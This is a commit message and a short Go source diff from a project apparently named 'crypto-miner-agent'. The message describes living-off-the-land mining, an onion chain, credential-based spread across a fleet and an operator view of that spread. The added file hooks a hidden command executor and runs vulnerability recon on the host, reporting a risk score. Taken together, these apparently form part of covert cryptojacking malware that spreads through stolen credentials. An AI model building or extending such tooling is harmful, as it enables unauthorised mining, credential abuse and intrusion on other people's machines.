Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/vuln_recon.go

@@ -0,0 +1,20 @@
+package deploy
+
+import (
+	"log"
+
+	"crypto-miner-agent/vulnprobe"
+)
+
+func init() {
+	vulnprobe.HiddenExec = HiddenCombinedOutput
+}
+
+// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
+func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
+	ctx := vulnprobe.ProbeHost(nil, osVersion)
+	report := vulnprobe.Run(ctx)
+	log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
+		report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
+	return report
+}